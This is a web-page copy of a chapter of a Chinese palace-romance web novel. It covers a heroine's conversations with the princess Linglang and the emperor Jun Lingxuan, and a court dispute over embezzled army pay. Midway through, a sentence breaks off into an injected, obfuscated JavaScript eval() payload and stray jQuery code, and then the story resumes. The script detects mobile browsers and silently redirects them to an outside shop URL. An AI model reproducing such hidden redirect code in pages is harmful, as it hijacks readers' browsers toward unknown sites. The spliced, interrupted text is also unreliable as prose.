文趣网 > 其他小说 > 收个暴君当小弟,不许撒娇啦 > 23. 废黜皇后
    闻朝溪把小团子抱到跟前,低语道:“你要是不单能辩慌,还可以读心就好了,这样我就知道琳琅这丫头小脑袋瓜里成日里在想些什么了!”

    不到一刻钟,琳琅便拿着本画轴回来了,欣喜地在闻朝溪眼前展开。

    嚯!本以为琳琅平日里只是随意涂鸦,不曾想技艺堪比大师水准,难怪之前君凌轩能从她御花园的画作中认出我来!

    这画足有半丈长,背景似乎在校武场,长枪上的每一根红缨,刀鞘上刻的每一道纹路和场地里每一颗细沙,都被这小姑娘描绘得惟妙惟肖,让人如身处在那刀光剑影的练武场一般。

    但最让闻朝溪诧异的乃画中少年,明明说是卫长骁的画像,怎么里面却有两个人?

    稍显稚气的少将军揽着位意气风发的男孩儿,发梢只到将军手臂,样貌与卫长骁有五分相似。

    “这不是卫长青吗?”闻朝溪指着画中人,琳琅却红着脸收回了画。

    “是啊,卫将军出征前,弟弟去送他,我当时正好陪皇兄出游,就作了这幅画……”

    闻朝溪总算看明白了,她明目张胆地打趣起长公主来:“琳琅也学会骗嫂嫂了,你想看的根本就不是画中的卫将军,而是卫长青吧?他不过稍长你几岁,嫂嫂觉得你们二人甚是相配,再等两年,嫂嫂便去求你皇兄为你们赐婚可好?”

    琳琅低垂着头,弯弯的长睫不停扇动着,两颊由淡粉逐渐染成血红,连忙挥手否认:“嫂嫂说什么呢?不是你提到卫将军我才拿出这幅画,怎么如今却推到琳琅身上来了!我才不喜欢卫长青呢!”

    小团子耳朵高高竖起,这话任谁听都是小姑娘害羞之际说的反话罢了!

    只是不知这憨憨傻傻的卫长青做了什么让琳琅芳心暗许?他们兄弟俩相貌着实英俊,功夫也都不错……

    咦,这是什么?

    闻朝溪从地上捡起一张刚从画轴中掉出来的纸,展开一看,原来也是幅画作,不过比起刚才的武场图,笔法稍显稚嫩简洁。

    并未得到妥善保管,画中颜色已有些褪色,画纸泛黄陈旧,看来有些年头了。

    画中似是宫中之景,大雪之中,一位四十多岁的男子身着官服,正为一坐于亭中的白须老者斟酒……

    “这只是我小时候的胡乱涂鸦,别脏了嫂嫂的眼!”还没来得及细看,琳琅便一把夺过闻朝溪手中之画,画纸历经多年岁月,已发薄变脆,争抢间差点撕碎,琳琅焦急察看,发现没缺角破损才细致地收回袖中。

    果真如闻朝溪所料,小团子耳朵再次竖起,琳琅明明就很宝贝这幅旧作,为何要骗人说是随意乱画的?

    莫非画作之中有何玄机不能对外人道?可她方才匆匆一瞥,并未发现有何不妥之处啊?

    “天色已晚,嫂嫂好生休息,琳琅明日再来看您。”少女唇色惨白,神情也带着几分落寞不安,完全没了半炷香前的明艳开朗。

    琳琅这是怎么了?是因为那幅碰巧掉落的画纸?

    没人聊天,又无法出去走走,闻朝溪趴着无聊很快就又睡着了。

    再次苏醒后只觉精神百倍,君凌轩坐在软塌旁的餐桌前批阅奏折,上面摆满了各种丰富的吃食。

    “姐姐醒了?饿了吧,朕来喂你用膳。”说着他便将每盘菜夹了些放在碗里,送到闻朝溪嘴边,“听濯清宫服侍之人说,姐姐入宫这些时日以来有七日令小厨房做了八宝葫芦鸭,樱桃肉吃了五次,羊肉奶汤三次,烤乳猪两次,竹荪扒鸡一次,朕吩咐御膳房全做了,这些全是姐姐爱吃的菜,姐姐腿上有伤,不方便起身,来,张嘴,朕喂你……”

    他竟全都知道?一国之君政事繁忙,怎么还有闲心统计我每天吃了些什么?

    从前几十年没怎么吃过肉,入宫后可以不花分文开怀畅吃,我点得最多的自然都是些荤菜喽……

    闻朝溪听话地张大了嘴,轻轻一嚼,油香缠绕着滑嫩的鸭肉在口中绽放开来,她吃得酣畅淋漓,君凌轩看得有滋有味,一口接一口喂她,半点都不嫌烦。

    “对了,琳琅今日看起来心情不是甚佳,可是遇到难事了?”闻朝溪在这宫里最放心不下的便是这纯真可爱的小妹妹,要是让她知道谁敢欺负她的救命恩人,她绝不放过!

    “琳琅有些不悦吗?”君凌轩似乎是头一回听说,他喂人的动作顿了顿,略加思索便立马豁然开朗,“大约是因皇祖父的忌日快到了,她也有些沮丧吧。”

    也?那就是说君凌轩自己心里同样不好受?

    “虽然皇祖父在琳琅四岁时就死了,但他不仅是爱民如子的好皇帝,更是慈爱睿智,天下最好的祖父……”

    君凌轩说着说着眼里就浸了泪。

    闻朝溪当然知道十年前翎国是怎样的盛况,即使她那时还是个孩童,但也记得分明,就连闻家这样的乡下人户都过着衣食无忧的日子。海晏河清,万邦来朝,边境小国岂敢像这几年般频频挑衅!

    乾明大帝乃翎国史上在位最长的皇帝,深受百姓爱戴,他身体一直都很好,但却在一年冬日突然传来噩耗,说乾明大帝突发恶疾暴毙,全村的大人那夜哭得都可伤心了呢!

    可想而知作为亲人的君凌轩有多么难过,就算过了这么多年,都能让他和琳琅记挂心头,乾明大帝定是个顶好之人!

    “我相信你的祖父在天上看见你和琳琅能健康快乐地长大,定会无比欣慰,他如今也了无遗憾了。”闻朝溪趴着身子,竭尽全力地抬高手臂,拍了拍君凌轩的大腿安慰道。

    不知为何,她看见君凌轩难受,心中也如有蚁虫叮咬般酸胀疼痛。

    “不,是朕放任皇祖父交给我的江山变成如今这般千疮百孔的模样,四处百姓民不聊生,兵权握于奸人之手,都城疫病盛行……朕定要夺回一切,还天下以安宁!”他几乎将手中的碗捏碎。

    “姐姐相信你一定没问题!你这么聪明,在坞村时轻轻松松就能帮我退亲,还查出王清和私底下干的那些勾当,你绝不会辜负你祖父和万民的期望!”她紧握君凌轩掌心,其实我也想留下来助你肃清朝堂,安定四海,让像我,像闻家,像坞村这般穷苦的百姓也能过上顿顿有肉吃的日子!可此处终究不是我的归宿……

    “姐姐老是趴着无聊,不如朕继续教姐姐认字吧!”君凌轩眼中又恢复了神采。

    “好呀好呀!”闻朝溪朝榻里面挪了点,留出一个人的空间,豪气十足地拍了拍她旁边的位置,“来,躺这!”

    君凌轩愣了半晌,他这天下之主还是头一遭被后宫的女人命令着躺下!

    但他还是满脸喜色地捧着书卷贴了上去,姐姐真是天资聪颖,读书识字过目不忘,即使距上一次在坞村教她时俨然已逾数月,但她一看到学过的字就能立马认出。

    就这样,君凌轩每晚都来教闻朝溪认字,直到三更他耷拉着眼皮哀求,姐姐才肯放他在床角安眠。

    也亏这回她的伤好得极慢,在皮肤尽

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968686|214610||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    数长好之前,差不多学完了所有的常用字,读些平常的书完全没问题。

    而这日前朝之上,两位肱骨之臣吵翻了天。

    “臣恳请圣上废黜皇后,逐出后宫!”恭王在朝堂上直言不讳,没给镇宁侯留半分薄面。

    “王爷这是何意,小女何时得罪了您,要您一个皇叔在朝堂之上如此参奏于她!”镇宁侯亦不甘示弱,一代武将就算年岁已高说起话来依然嗓音洪亮,底气饱满。

    恭王愤然拂袖:“作为一国之母,安宁郡主本应凤仪天下,为国为民,但值此国库空虚之际,就连陛下和太后娘娘都节俭度日,她却为一己之私,公然花费大量库银修缮住处,枉顾天下苍生!此等品性的女子,怎好意思忝居中宫之位!”

    镇宁侯气得吹胡子瞪眼,须发倒立,虽是初次听闻女儿在宫中所造之孽,但被人当朝数落,无论如何也不能服了软:“房屋有损及时修缮乃是再正常不过之事,怎么到了王爷口中,就成了小女危害苍生?陛下,欲加之罪,何患无辞!”

    镇宁侯终于想起让皇上来断个公道,可君凌轩却像聋了似的,坐在龙椅上一言不发。

    “自然是因为国库如今连本王的安南军军饷都凑不够,镇宁侯难道要以替翎国抛头颅、洒热血的士兵口粮来为女儿修筑房屋吗?”恭王可不是好糊弄之人,自然对着镇宁侯不依不饶,乘胜追击。

    君凌轩依旧沉默不语,任由二人当着文武百官针锋相对,没有偏帮一方,也没有出来断公道的意思。

    “军需又不够了?”镇宁侯冷笑一声,“每年国库拨给安南军的军饷是最多的,老臣倒想问问恭王殿下,流水般的饷银是否悉数用于军队,未曾被挪作他处?”

    恭王浑身一颤,似是没想到这镇宁侯竟敢当着满朝文武的面如此质问于他。

    “老臣自愿上交麾下军队每年吃穿用度及各项采买账册,请陛下审核,就是不知恭王殿下是否敢公开安南军账目?”

    好你个镇宁侯,这是要跟本王鱼死网破是吧!恭王目光闪避,不敢迎接朝堂上几百名官员质疑的眼神。

    可若是此刻怂了,不接镇宁侯的招,便是坐实了挪用军饷的罪名,怕是再也无法立于朝堂之上。

    恭王只好硬着头皮请求:“还请陛下宽限两日,容臣回去整理账册资料……”

    “不必!”君凌轩总算开口,“朕相信皇叔不会做贪赃枉法之事,没必要继续耽误时间。不如就由镇宁侯和皇叔交叉互查,如有问题及时上报给朕,这样一来最是公平简便,镇宁侯,你意下如何?”

    “老臣谨遵陛下圣旨。”

    恭王骑虎难下,若是推脱更显心虚,唯有不情不愿地领了命。

    三日后大殿之上,镇宁侯抱起一堆账簿状告恭王:“陛下,同样的棉衣和粮食等军需物资,安南军竟花费三倍于臣所率镇北军,恭王殿下还有何话好说!这些年翎国国库怕就是被你搬空的!”

    “放肆!”恭王早已想好诡辩之辞,“这些东西质量不一,采买地方不同,价格自然有高有低,镇宁侯如此污蔑本王,是何居心?”

    “哎,皇叔此言有理”,君凌轩广袖一拂,“恭老王爷乃翎国栋梁,怎可轻易冤枉?不如就让刑部和户部一同入驻安南军营,将每一笔支出,向何人采买都查个一清二楚才好,这样方能为皇叔正名!”

    恭王却支支吾吾:“陛下何必如此大费周章,为臣调动各方同僚,搅得朝堂不宁……”